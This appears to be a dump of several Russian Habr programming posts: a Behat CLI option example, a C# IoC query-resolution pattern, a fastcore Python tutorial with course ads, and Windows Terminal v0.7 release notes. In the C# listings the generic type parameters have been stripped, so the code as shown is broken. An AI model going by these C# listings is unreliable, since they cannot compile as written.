const SEARCH_BY_FULLNAME = 'search-by-fullname';
/**
* Configures command to be executable by the controller.
* @param SymfonyCommand $command
*/
public function configure(SymfonyCommand $command)
{
$command->addOption( '--' . self::SEARCH_BY_FULLNAME,
null,
InputOption::VALUE_OPTIONAL,
"Specify the search query based on fullname of the user.
Must be started from surname"
);
}
/**
* Executes controller.
*
* @param InputInterface $input
* @param OutputInterface $output
*
* @return null|integer
*/
public function execute(InputInterface $input, OutputInterface $output)
{
$reflect = new \ReflectionClass(__CLASS__);
foreach ($reflect->getConstants() as $constName => $option) {
if ($input->hasOption($option) && ($optValue = $input->getOption($option))) {
$queryArgs = explode(',', $optValue);
Registry::set('query', new FullnameCriteria(
$queryArgs[0],
$queryArgs[1] ?? null,
$queryArgs[2] ?? null)
);
return null;
}
}
throw new \InvalidOptionException("You must specify one of the following
options to proceed: " . implode(', ', $reflect->getConstants()));
}
}
```
Если всё объявлено правильно, то список доступных команд behat дополнится новым аргументом *--search-by-fullname*:
```
$ vendor/bin/behat --help
```
```
[mkardakov@mkardakov-local dossier.io]$ vendor/bin/behat --help | grep search-by-fullname
--search-by-fullname[=SEARCH-BY-FULLNAME] Specify the search query based on fullname of the user. Must be started from surname
[mkardakov@mkardakov-local dossier.io]$
```
Получив входные данные внутри SearchController, они могут быть переданы в Context классы напрямую, либо сохранены в базе данных и т.д В примере выше я для этого использую Registry паттерн. Подход вполне рабочий, но если вы знаете, как это сделать по-другому, пожалуйста, расскажите в комментариях.
На этом всё. Спасибо за внимание! | https://habr.com/ru/post/353612/ | null | ru | null |
# Получение экземпляра класса запроса по сигнатуре его интерфейса
Не так давно на Хабре была опубликована [статья](http://blog.byndyu.ru/2011/08/repository.html "Проблемный шаблон Repository") ([ссылка](http://habrahabr.ru/blogs/net/125411/ "Проблемный шаблон Repository") на топик) моего коллеги [AlexanderByndyu](https://habrahabr.ru/users/alexanderbyndyu/), описывающая уход от использования Repository в сторону применения связки QueryFactory + классы запросов Query. При этом в комментариях разгорелся весьма интересный диспут, касающийся целесообразности приведенного в статье решения. Было достаточно много интересных отзывов, среди которых особенно выделялись высказывания о том, что, дескать, QueryFactory не нужен и является лишней обузой, мешающей безболезненному добавлению, изменению и удалению классов запросов. В данной статье я хочу показать подход, который позволяет избавиться от применения QueryFactory, через активное использование IoC контейнера. Данную организацию работы со структурой классов запросов мы использовали в одном из наших недавних проектов, где в качестве IoC использовался Castle.Windsor.
#### Описание подхода
Для начала я опишу основную идею, заложенную в описываемом подходе. Суть его близка к тому, как компилятор определяет, какая версия перегруженного метода используется в конкретном случае, а именно идентификация по сигнатуре. И если в том случае, когда речь идет о методе его сигнатура – это порядок, число и типы передаваемых аргументов, то в случае если необходимо получить конкретную реализацию интерфейса из IoC контейнера, то сигнатура определяется набором generic-параметров в интерфейсе. Возможно некоторое расхождение в понятиях с теми, кто привык под сигнатурой интерфейса понимать набор его методов, но в рамках данной статьи предлагаю принять вышеназванное толкование понятие.
Надеюсь в целом понятно, а если нет, то при просмотре приведенного примера все встанет на свои места.
#### Реализация
Положим у нас есть общий для всех запросов интерфейс IQuery<,>:
> `public interface IQuery<in TCriterion, out TResult>
>
> where TCriterion : ICriterion
>
> {
>
> TResult Execute(TCriterion criterion);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Соответственно его сигнатура определяется конкретной реализацией ICriterion, т.е. объектом, содержащим данные, необходимые для построения запроса (в основном для предикатов фильтрования Where), а также типом возвращаемого результата. Таким образом при наличии единственной реализации интерфейса IQuery<,> с определенными типами generic-параметров TCriterion и TResult, зная эти типы можно получить реализацию интерфейса.
Ниже приведен код в классе WindsorInstaller, который регистрирует все реализации интерфейса IQuery<,> в IoC контейнере.
> `public class WindsorInstaller : IWindsorInstaller
>
> {
>
> public void Install(IWindsorContainer container, IConfigurationStore store)
>
> {
>
> var queries = AllTypes.FromAssemblyNamed("Domain.NHibernate")
>
> .BasedOn(typeof (IQuery<,>))
>
> .WithService.FirstInterface()
>
> .Configure(x => x.LifeStyle.Transient);
>
>
>
> container.Register(queries);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В данном примере происходит получение всех реализаций интерфейса IQuery<,> из сборки Domain.NHibernate их содержащей и регистрация полученных типов в контейнере как реализаций их первого интерфейса (который опять же и есть IQuery<,>).
Для дальнейшего использования конкретного запроса в контроллере или, положим, в обработчике формы, необходимо написание небольшого, но очень важного вспомогательного класса. Но для начала хотелось бы привести пример его использования, чтобы можно было понять, предоставляемые им возможности и внешний вид (для разработчика) механизма получения реализации запроса по сигнатуре интерфейса. Назовем этот пример листинг 1.
> `var account = Query.For().With(new LoginCriterion(login));
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В данном примере мы получаем запрос по сигнатуре его интерфейса, от которого мы хотим, чтобы он возвращал сущность Account, а поиск производил по логину этого самого аккаунта. Логин передается через LoginCriterion. Соотвественно, чтобы вышеуказанный код был прозрачнее привожу код запроса, который будет использован в вышеуказанном примере, а также код класса LoginCriterion.
> `public class FindAccountByLoginQuery : LinqQueryBase, IQuery
>
> {
>
> public FindAccountByLoginQuery(ILinqProvider linqProvider)
>
> : base(linqProvider)
>
> {
>
> }
>
>
>
> public Account Execute(LoginCriterion criterion)
>
> {
>
> return Query()
>
> .SingleOrDefault(x => x.Login.ToLower() == criterion.Login.ToLower());
>
> }
>
> }
>
>
>
> public class LoginCriterion : ICriterion
>
> {
>
> public LoginCriterion(string login)
>
> {
>
> Login = login;
>
> }
>
>
>
> public string Login { get; set; }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь, что касается вспомогательного кода, то он представлен двумя интерфейсами:
> `public interface IQueryBuilder
>
> {
>
> IQueryFor For();
>
> }
>
>
>
> public interface IQueryFor<out T>
>
> {
>
> T With(TCriterion criterion) where TCriterion : ICriterion;
>
>
>
> T ById(int id);
>
>
>
> IEnumerable All();
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
… и их реализациями:
> `public class QueryBuilder : IQueryBuilder
>
> {
>
> private readonly IDependencyResolver dependencyResolver;
>
>
>
> public QueryBuilder(IDependencyResolver dependencyResolver)
>
> {
>
> this.dependencyResolver = dependencyResolver;
>
> }
>
>
>
> public IQueryFor For()
>
> {
>
> return new QueryFor(dependencyResolver);
>
> }
>
>
>
> #region Nested type: QueryFor
>
>
>
> private class QueryFor : IQueryFor
>
> {
>
> private readonly IDependencyResolver dependencyResolver;
>
>
>
> public QueryFor(IDependencyResolver dependencyResolver)
>
> {
>
> this.dependencyResolver = dependencyResolver;
>
> }
>
>
>
> public TResult With(TCriterion criterion) where TCriterion : ICriterion
>
> {
>
> return dependencyResolver.GetService>().Execute(criterion);
>
> }
>
>
>
> public TResult ById(int id)
>
> {
>
> return dependencyResolver.GetService>().Execute(new IdCriterion(id));
>
> }
>
>
>
> public IEnumerable All()
>
> {
>
> return dependencyResolver.GetService>().Execute(new EmptyCriterion());
>
> }
>
> }
>
>
>
> #endregion
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
По сути, для реализации нашего подхода можно было бы ограничиться единственным интерфейсом, но тогда пришлось бы явно указывать generic-параметр типа реализации ICriterion, что отяжелило бы интерфейс IQueryBuilder. При указанной же реализации явно указывается лишь тип значения, возвращаемого из запроса. Непосредственное получение экземпляра запроса из IoC контейнера и его выполнение осуществляет класс QueryFor<>. При этом используется интерфейс к IoC контейнеру, предоставленный внутренними средствами ASP.NET MVC3, IDependencyResolver. В нашем случае в итоге все запросы к контейнеру будут делегированы Castle.Windsor.
Одной из главных особенностей использования QueryBuilder является регистрация его в IoC контейнере как реализации интерфейса IQueryBuilder. В связи с инжекцией зависимостей в конструктор, а также введенным в ASP.NET MVC3 механизмом подстановки реализации для всех публичных свойств объектов, типы которых зарегистрированы в контейнере, если сам экземпляр объекта также получен из контейнера, становится возможным следующее (абстрактный пример, код открытия UnitOfWork опущен).
> `public class AccountController : Controller
>
> {
>
> public IQueryBuilder Query { get; set; }
>
>
>
> public ActionResult Index(string login)
>
> {
>
> var account = Query.For().With(new LoginCriterion(login));
>
>
>
> // делаем тут что-нибудь полезное
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### Заключение
Означенный подход позволяет не только избавиться от QueryFactory, что делает безболезненным добавление, изменение и удаление классов запросов, но и позволяет полностью абстрагироваться от понятия запроса в контексте места его использования. Я бы даже назвал подобный механизм получения запросов «настоящим», т.к. он оперирует двумя ключевыми понятиями тесно связанными с запросом в разрезе подхода CQS: это входные критерии выборки и возвращаемый результат. Казалось бы различные реализации ICriterion могут «захламить» код, но на самом деле это не так, т.к. их можно использовать повторно для различных запросов.
Подобный подход получения реализации по сигнатуре интерфейса можно использовать не только для запросов, но и для реализаций других generic-интерфейсов, особенно в том случае, если этих реализаций множество и/или их состав подвержен частым изменениям. Например, подобными объектами могут служить команды (из подхода CQS).
Надеюсь на хорошую дискуссию в комментариях и жду конструктивных предложений по данному подходу от хабрасообщества. Если у вас есть замечания по орфографии и пунктуации в данной статье, то прошу писать их через личные сообщения. | https://habr.com/ru/post/125720/ | null | ru | null |
# Fastcore — недооцененная, но полезная библиотека Python
[](https://habr.com/ru/company/skillfactory/blog/524334/)
Недавно я начал оттачивать владение языком программирования Python. Я хотел изучить продвинутые паттерны, идиомы и методы программирования. Начал я с чтения книг по продвинутому Python, но информация, похоже, не откладывалась в голове без применения навыков. Хотелось иметь возможность задавать вопросы эксперту, пока учусь, а такую возможность трудно найти! Тогда ко мне и пришла идея: что, если я найду проект с открытым и достаточно продвинутым кодом и напишу документацию и тесты? Я сделал ставку, что это заставит меня изучать все очень глубоко, а поддерживающие проект люди оценит мою работу и будут готовы ответить на мои вопросы.
---
Предыстория
-----------
Поиском такого проекта и написанием документации с тестами к нему я занимался целый месяц и такое обучение было самым эффективным из всех, что я пробовал. Я обнаружил, что написание документации заставило меня глубоко понять не только то, что делает код, но и то, *почему код работает именно так, как он работает*, а также исследовать крайние случаи во время написания тестов. Самое главное, что я мог задавать вопросы, когда застрял, а люди были готовы посвятить мне дополнительное время, зная, что их разъяснения служило тому, чтобы сделать код доступнее! Оказывается, выбранная мной библиотека, [fastcore](https://fastcore.fast.ai/) — одна из самых увлекательных в Python, с которыми я работал. Ее цели и задачи действительно уникальны.
[fastcore](https://fastcore.fast.ai/) — это основа многих проектов [fast.ai](https://github.com/fastai). Самое главное: fastcore расширяет Python, стремясь к устранению шаблонного кода и добавлению полезной функциональности для общих задач. В этом посте я выделю некоторые из моих любимых инструментов fastcore вместо того, чтобы делиться тем, что я узнал о языке. Моя задача — вызвать интерес к этой библиотеке, и, надеюсь, мотивировать вас к ознакомлению с документацией после прочтения статьи.
Чем интересна fastcore?
-----------------------
1. **Ознакомление с идеями из других языков прямо в Python:** Я постоянно слышу, что полезно изучать другие языки, чтобы стать лучшим программистом. Мне было трудно изучать другие языки с практической точки зрения, потому что я не мог применять их на работе. Fastcore расширяет Python, чтобы включить в него паттерны из разных языков: Julia, Ruby и Haskell. Теперь, когда я понимаю эти инструменты, у меня появилась мотивация изучать другие языки.
2. **Новый набор прагматичных инструментов:** fastcore включает в себя утилиты, позволяющие писать более лаконичный выразительный код и, возможно, решать новые задачи.
3. **Изучение Python:** fastcore расширяет Python, в этом процессе проявляются многие продвинутые понятия. Для мотивированных людей это прекрасный способ увидеть многое о внутренней работе языка.
Пройдемся по fastcore ураганом
------------------------------
Вот некоторые привлекшие мое внимание вещи, которые возможно сделать с помощью fastcore.
### Делаем `kwargs` прозрачными
Я немного поеживаюсь каждый раз, когда вижу функцию с аргументом **`kwargs`**. Это потому, что kwargs означает обфускацию API. Мне нужно прочитать исходный код, чтобы понять, какие параметры допустимы. Посмотрим на пример ниже:
```
def baz(a, b=2, c =3, d=4): return a + b + c
def foo(c, a, **kwargs):
return c + baz(a, **kwargs)
inspect.signature(foo)
```
Без чтения исходного кода может быть трудно узнать, что `foo` также принимает дополнительные параметры`b` и `d`. Это можно исправить с помощью `delegates`:
```
def baz(a, b=2, c =3, d=4): return a + b + c
@delegates(baz) # this decorator will pass down keyword arguments from baz
def foo(c, a, **kwargs):
return c + baz(a, **kwargs)
inspect.signature(foo)
```
Поведение этого декоратора настраивается. Например, вы можете передать аргументы и сохранить при этом `kwargs`:
```
@delegates(baz, keep=True)
def foo(c, a, **kwargs):
return c + baz(a, **kwargs)
inspect.signature(foo)
```
Аргументы можно исключать. Например, ниже мы исключаем из делегирования аргумент `d`:
```
def basefoo(a, b=2, c =3, d=4): pass
@delegates(basefoo, but= ['d']) # exclude `d`
def foo(c, a, **kwargs): pass
inspect.signature(foo)
```
Возможно делегирование между классами:
```
class BaseFoo:
def __init__(self, e, c=2): pass
@delegates()# since no argument was passsed here we delegate to the superclass
class Foo(BaseFoo):
def __init__(self, a, b=1, **kwargs): super().__init__(**kwargs)
inspect.signature(Foo)
```
```
```
Для получения дополнительной информации прочтите [`документацию о delegates`](https://fastcore.fast.ai/foundation.html#delegates).
### Избегаем шаблонного кода при установке атрибутов экземпляра
Вы когда-нибудь задумывались, можно ли избежать шаблонного кода, связанного с установкой атрибутов в `__init__`?
```
class Test:
def __init__(self, a, b ,c):
self.a, self.b, self.c = a, b, c
```
Ой! Это было больно. Посмотрите на все эти повторяющиеся имена переменных. Неужели действительно нужно повторять всё это при определении класса? Уже нет! Посмотрите на [store\_attr](https://fastcore.fast.ai/utils.html#store_attr):
```
class Test:
def __init__(self, a, b, c):
store_attr()
t = Test(5,4,3)
assert t.b == 4
```
Вы также можете исключить определенные атрибуты:
```
class Test:
def __init__(self, a, b, c):
store_attr(but=['c'])
t = Test(5,4,3)
assert t.b == 4
assert not hasattr(t, 'c')
```
Есть гораздо больше способов настройки и использования `store_attr`, чем я показываю. Ознакомьтесь с [документацией](https://fastcore.fast.ai/utils.html#store_attr) для получения более подробной информации.
P.S. Вы можете подумать, что [классы данных](https://docs.python.org/3/library/dataclasses.html) тоже позволяют избежать такого шаблонного кода. Хотя в некоторых случаях это верно, `store_attr` более гибок. [1](https://fastpages.fast.ai/fastcore/#fn-1)
Например, `store_attr` не полагается на наследование, а это значит, что вы не застрянете, используя множественное наследование, когда применяете его со своими собственными классами. Кроме того, в отличие от классов данных, `store_attr` не требует python 3.7 или выше. Вы можете использовать `store_attr` в любой момент в жизненном цикле объекта и в любом месте вашего класса, чтобы настроить поведение в том, как и когда хранятся переменные. Подробности [здесь](https://fastpages.fast.ai/fastcore/#fnref-%201).
### Избегаем бойлерплейта подклассов
Одна вещь, которую я ненавижу в python — связанный с подклассами шаблонный код `__super__ ().__init__ ()`. Например:
```
class ParentClass:
def __init__(self): self.some_attr = 'hello'
class ChildClass(ParentClass):
def __init__(self):
super().__init__()
cc = ChildClass()
assert cc.some_attr == 'hello' # only accessible b/c you used super
```
Мы можем избежать такого кода, используя метакласс [PrePostInitMeta](https://fastcore.fast.ai/foundation.html#PrePostInitMeta). Как? Определив новый класс под названием `NewParent` — обертку вокруг `ParentClass`:
```
class NewParent(ParentClass, metaclass=PrePostInitMeta):
def __pre_init__(self, *args, **kwargs): super().__init__()
class ChildClass(NewParent):
def __init__(self):pass
sc = ChildClass()
assert sc.some_attr == 'hello'
```
### Диспетчеризация типа
Диспетчеризация типа или [множественная диспетчеризация](https://en.wikipedia.org/wiki/Multiple_dispatch#Julia) позволяет изменить поведение функции в зависимости от типов получаемых входных данных. Это характерная особенность некоторых языков программирования, таких как Julia. Вот [концептуальный пример](https://en.wikipedia.org/wiki/Multiple_dispatch#Julia) того, как работает множественная диспетчеризация в Julia. В зависимости от типов входных данных `x` и `y` возвращаются разные значения:
```
collide_with(x::Asteroid, y::Asteroid) = ...
# deal with asteroid hitting asteroid
collide_with(x::Asteroid, y::Spaceship) = ...
# deal with asteroid hitting spaceship
collide_with(x::Spaceship, y::Asteroid) = ...
# deal with spaceship hitting asteroid
collide_with(x::Spaceship, y::Spaceship) = ...
# deal with spaceship hitting spaceship
```
Диспетчеризация типа может быть особенно полезна в Data Science, где возможно разрешить различные типы ввода (т.е. массивы numpy и фреймы данных Pandas) в обрабатывающей данные функции. Типовая диспетчеризация позволяет иметь общий API у выполняющих похожие задачи функций. К сожалению, Python не поддерживает такую функциональность из коробки. К счастью, у нас есть декоратор [@typedispatch](https://fastcore.fast.ai/dispatch.html#typedispatch-Decorator). Этот декоратор полагается на подсказки типа, чтобы маршрутизировать входные данные к правильной версии функции:
```
@typedispatch
def f(x:str, y:str): return f'{x}{y}'
@typedispatch
def f(x:np.ndarray): return x.sum()
@typedispatch
def f(x:int, y:int): return x+y
```
Ниже показывается диспетчеризации типа при работе для функции `f`:
```
f('Hello ', 'World!')
```
```
'Hello World!'
```
```
f(2,3)
```
```
5
```
```
f(np.array([5,5,5,5]))
```
```
20
```
У этой функциональности есть ограничения (также как у других способов использования этой функции) и о них [вы можете прочитать здесь](https://fastcore.fast.ai/dispatch.html). В процессе изучения типовой диспетчеризации я также нашел библиотеку Python под названием [multipledispatch](https://github.com/mrocklin/multipledispatch), написанную [Mathhew Rocklin](https://github.com/mrocklin) — создателем Dask.
После применения этой функции я теперь мотивирован изучать такие языки, как Julia, чтобы обнаружить, каких еще парадигм мне может не хватать.
### Лучшая версия `functools.partial`
`functools.partial` — отличная утилита, создающая функции из других функций и позволяющая устанавливать значения по умолчанию. Возьмем, к примеру, функцию, которая фильтрует список таким образом, чтобы он содержал значения больше либо равное `val`:
```
test_input = [1,2,3,4,5,6]
def f(arr, val):
"Filter a list to remove any values that are less than val."
return [x for x in arr if x >= val]
f(test_input, 3)
```
```
[3, 4, 5, 6]
```
Из этой функции вы можете создать новую функцию с помощью `partial`, которая устанавливает значение по умолчанию: `5`:
```
filter5 = partial(f, val=5)
filter5(test_input)
```
```
[5, 6]
```
Одна из проблем с `partial` заключается в том, что она удаляет исходную строку документации и заменяет ее общей строкой документации:
```
filter5.__doc__
```
```
'partial(func, *args, **keywords) - new function with partial application\n of the given arguments and keywords.\n'
```
[fastcore.utils.partialler](https://fastcore.fast.ai/utils.html#partialler) исправляет это и обеспечивает сохранение строки документации таким образом, чтобы новый API был прозрачным:
```
filter5 = partialler(f, val=5)
filter5.__doc__
```
```
'Filter a list to remove any values that are less than val.'
```
### Композиция функций
Распространенный в функциональных языках программирования метод — композиция функций, когда вы связываете несколько функций вместе, чтобы достичь определенного результата. Это особенно полезно в различных преобразований данных. Рассмотрим игрушечный пример, где у меня три функции: первая удаляет элементы списка меньше 5 (из предыдущего раздела), вторая добавляет 2 к каждому числу, третья суммирует все числа:
```
def add(arr, val): return [x + val for x in arr]
def arrsum(arr): return sum(arr)
# See the previous section on partialler
add2 = partialler(add, val=2)
transform = compose(filter5, add2, arrsum)
transform([1,2,3,4,5,6])
```
```
15
```
Почему это полезно? Вы можете подумать, что я могу сделать то же самое вот так:
```
arrsum(add2(filter5([1,2,3,4,5,6])))
```
Все верно! Однако, композиция дает удобный интерфейс на случай, когда вы захотите сделать что-то такое:
```
def fit(x, transforms:list):
"fit a model after performing transformations"
x = compose(*transforms)(x)
y = [np.mean(x)] * len(x) # its a dumb model. Don't judge me
return y
# filters out elements < 5, adds 2, then predicts the mean
fit(x=[1,2,3,4,5,6], transforms=[filter5, add2])
```
```
[7.5, 7.5]
```
Более подробную информацию о `compose` читайте [в документации](https://fastcore.fast.ai/utils.html#compose).
### `__repr__`, но полезнее
В Python `__repr__` помогает получить информацию об объекте для логирования и отладки. Ниже приведено то, что вы получите по умолчанию, когда определите новый класс. Примечание: мы используем `store_attr`, который обсуждался выше.
```
class Test:
def __init__(self, a, b=2, c=3): store_attr() # `store_attr` was discussed previously
Test(1)
```
```
<__main__.Test at 0x7ffcd766cee0>
```
Мы можем использовать [basic\_repr](https://fastcore.fast.ai/utils.html#basic_repr), чтобы быстро получить более разумное значение по умолчанию:
```
class Test:
def __init__(self, a, b=2, c=3): store_attr()
__repr__ = basic_repr('a,b,c')
Test(2)
```
```
Test(a=2, b=2, c=3)
```
### Обезьяньи патчи через декоратор
Это может быть удобно для [обезьяньих патчей](https://www.geeksforgeeks.org/monkey-patching-in-python-dynamic-behavior/) с помощью декоратора, что особенно полезно, когда вы хотите пропатчить импортируемую внешнюю библиотеку. Мы можем использовать [`декоратор @patch`](https://fastcore.fast.ai/foundation.html#patch) из `fastcore.foundation` вместе с подсказками типа примерно так:
```
class MyClass(int): pass
@patch
def func(self:MyClass, a): return self+a
mc = MyClass(3)
```
Теперь в `MyClass` есть дополнительный метод под названием `func`:
```
mc.func(10)
```
```
13
```
Я еще не убедил вас? Тогда покажу вам еще один пример такого патча в следующем разделе.
### pathlib.Path
Увидев [эти расширения](https://fastcore.fast.ai/utils.html#Extensions-to-Pathlib.Path) в `pathlib.path`, вы больше никогда не будете работать с vanilla pathlib! В pathlib добавлен ряд дополнительных методов, таких как:
* `Path.readlines`: то же, что `with open ('somefile', 'r') as f: f.readlines ()`
* `Path.read`: то же, что `with open ('somefile', 'r') as f: f.read ()`
* `Path.save`: сохраняет файл как `pickle`
* `Path.load`: загружает файл `pickle`
* `Path.ls`: показывает содержимое пути в виде списка.
* и так далее.
[Подробнее об этом здесь](https://fastcore.fast.ai/utils.html#Extensions-to-Pathlib.Path). Вот демонстрация `ls`:
```
from fastcore.utils import *
from pathlib import Path
p = Path('.')
p.ls() # you don't get this with vanilla Pathlib.Path!!
```
```
(#7) [Path('2020-09-01-fastcore.ipynb'),Path('README.md'),Path('fastcore_imgs'),Path('2020-02-20-test.ipynb'),Path('.ipynb_checkpoints'),Path('2020-02-21-introducing-fastpages.ipynb'),Path('my_icons')]
```
Подождите! Что здесь происходит? Мы только что импортировали `pathlib.Path` — почему мы получили новую функциональность? Потому, что импортировали модуль `fastcore.utils`, который патчит `pathlib.Path` с помощью упомянутого выше декоратора `@patch`. Чтобы довести дело до конца и показать, чем полезен `@patch`, я пойду дальше и прямо сейчас добавлю еще один метод в `Path`:
```
@patch
def fun(self:Path): return "This is fun!"
p.fun()
```
```
'This is fun!'
```
Волшебно, правда? Вот почему я пишу об этом!
### Еще более лаконичный способ написать лямбду
`Self` с заглавной буквы S — это еще более лаконичный способ написания вызывающих методы объекта лямбд. Например, создадим лямбду для получения суммы массива Numpy:
```
arr=np.array([5,4,3,2,1])
f = lambda a: a.sum()
assert f(arr) == 15
```
Вы можете таким же образом использовать `Self`:
```
f = Self.sum()
assert f(arr) == 15
```
Давайте создадим лямбду, которая будет делать группировку и возвращать максимальный элемент фрейма данных Pandas:
```
import pandas as pd
df=pd.DataFrame({'Some Column': ['a', 'a', 'b', 'b', ],
'Another Column': [5, 7, 50, 70]})
f = Self.groupby('Some Column').mean()
f(df)
```
| | Another Column |
| --- | --- |
| Some Column | |
| a | 6 |
| b | 60 |
Подробнее о `Self` читайте в [документации](https://fastcore.fast.ai/utils.html#Self-(ch-an-uppercase-S)).
Функции блокнота
----------------
Они просты, но удобны и позволяют узнать, выполняется ли код в блокноте Jupyter, Colab или через оболочку IPython:
```
from fastcore.imports import in_notebook, in_colab, in_ipython
in_notebook(), in_colab(), in_ipython()
```
```
(True, False, True)
```
Это полезно, когда вы отображаете определенные типы визуализаций, индикаторов прогресса или анимации в вашем коде, которые, возможно, захотите изменить или переключить в зависимости от окружения.
### Замена стандартного списка
Вы можете быть довольно счастливы со стандартным `list` в Python. Это одна из тех ситуаций, когда вы не знаете, что вам нужен список лучше, пока кто-то не покажет его вам. `L` — как раз такой список с большим количеством доработок.
Лучший способ описать `L` — сделать вид, что у `list` и `numpy` родился милый ребенок. Определите список (посмотрите на приятный `__repr__`, показывающий длину списка!)
```
L(1,2,3)
```
```
(#3) [1,2,3]
```
Перемешивание списка:
```
p = L.range(20).shuffle()
p
```
```
(#20) [8,7,5,12,14,16,2,15,19,6...]
```
Обратиться к элементам списка:
```
p[2,4,6]
```
```
(#3) [5,14,2]
```
`L` имеет разумные умолчания, например, вот добавление элемента в список:
```
1 + L(2,3,4)
```
```
(#4) [1,2,3,4]
```
`L` может гораздо больше. Читайте [документацию](https://fastcore.fast.ai/foundation.html#Class-L-Methods), чтобы узнать больше.
### Но подождите… Это еще не всё!
Есть еще кое-что, что я хотел бы показать вам, но это никак не вписываются в пост. Вот список некоторых любимых вещей, которые я не показывал в этом посте:
### Утилиты
Раздел [Utilites](https://fastcore.fast.ai/utils.html) содержит множество шорткатов для выполнения общих задач или предоставляет дополнительный интерфейс к стандартному интерфейсу.
* [mk\_class](https://fastcore.fast.ai/utils.html#mk_class): быстро добавляет кучу атрибутов в класс
* [wrap\_class](https://fastcore.fast.ai/utils.html#wrap_class): добавление новых методов в класс с помощью простого декоратора
* [groupby](https://fastcore.fast.ai/utils.html#groupby): похоже на `groupby` из Scala
* [merge](https://fastcore.fast.ai/utils.html#merge): слияние словарей
* [fasttuple](https://fastcore.fast.ai/utils.html#fastuple): кортеж на стероидах
* [Infinite Lists](https://fastcore.fast.ai/utils.html#Infinite-Lists): полезно для увеличения размеров массивов и тестирования
* [chunked](https://fastcore.fast.ai/utils.html#chunked): упаковка и организация элементов
### Многопроцессорная обработка
Раздел [Многопроцессорная обработка](http://fastcore.fast.ai/utils.html#Multiprocessing) расширяет соответствующую библиотеку Python, предлагая такие возможности:
* Шкала прогресса
* Возможность сделать паузу, чтобы смягчить состояние гонки с помощью внешних сервисов
* Пакетная обработка для каждого воркера, если у вас нет векторизованных операций для выполнения в блоках (chunk)
Прокачивать себя в Python стало проще, ведь специально для хабравчан мы сделали промокод **HABR**, дающий дополнительную скидку 10% к скидке указанной на баннере.
[](https://skillfactory.ru/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_banner&utm_term=regular&utm_content=habr_banner)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=211020)
* [Обучение профессии Data Science с нуля](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=211020)
* [Онлайн-буткемп по Data Science](https://skillfactory.ru/data-science-camp?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSTCAMP&utm_term=regular&utm_content=211020)
* [Обучение профессии Data Analyst с нуля](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=211020)
* [Онлайн-буткемп по Data Analytics](https://skillfactory.ru/business-analytics-camp?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DACAMP&utm_term=regular&utm_content=211020)
**Eще курсы**
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=211020)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=211020)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=211020)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=211020)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=211020)
* [Профессия Java-разработчик с нуля](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=211020)
* [Курс по JavaScript](https://skillfactory.ru/javascript?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FJS&utm_term=regular&utm_content=211020)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=211020)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=211020)
* [Продвинутый курс «Machine Learning Pro + Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=211020)
Рекомендуемые статьи
--------------------
* [Как стать Data Scientist без онлайн-курсов](https://habr.com/ru/company/skillfactory/blog/507024)
* [450 бесплатных курсов от Лиги Плюща](https://habr.com/ru/company/skillfactory/blog/503196/)
* [Как изучать Machine Learning 5 дней в неделю 9 месяцев подряд](https://habr.com/ru/company/skillfactory/blog/510444/)
* [Сколько зарабатывает аналитик данных: обзор зарплат и вакансий в России и за рубежом в 2020](https://habr.com/ru/company/skillfactory/blog/520540/)
* [Machine Learning и Computer Vision в добывающей промышленности](https://habr.com/ru/company/skillfactory/blog/522776/) | https://habr.com/ru/post/524334/ | null | ru | null |
# Windows Terminal Preview v0.7 Release
Another release is out for the Windows Terminal preview! This release is labeled as v0.7 in the About section of the Terminal. As always, you can download the Terminal from the [Microsoft Store](https://www.microsoft.com/en-us/p/windows-terminal-preview/9n0dx20hk701) and from the [GitHub releases page](https://github.com/microsoft/terminal/releases). Here’s what’s new in this release:
Windows Terminal Updates
------------------------
### Panes
You are now able to split your Terminal window into multiple panes! This allows you to have multiple command prompts open at the same time within the same tab.
Note: At the moment, you’re only able to open your *default* profile within a new pane. Opening a profile of your choice is an option we’re planning to include in a future release!
[](http://devblogs.microsoft.com/commandline/wp-content/uploads/sites/33/2019/11/terminal-panes.gif)
Read more below.
The following key bindings are included by default within this release to invoke panes actions:
```
{ "command": "splitHorizontal", "keys": [ "alt+shift+-" ] },
{ "command": "splitVertical", "keys": [ "alt+shift+plus" ] },
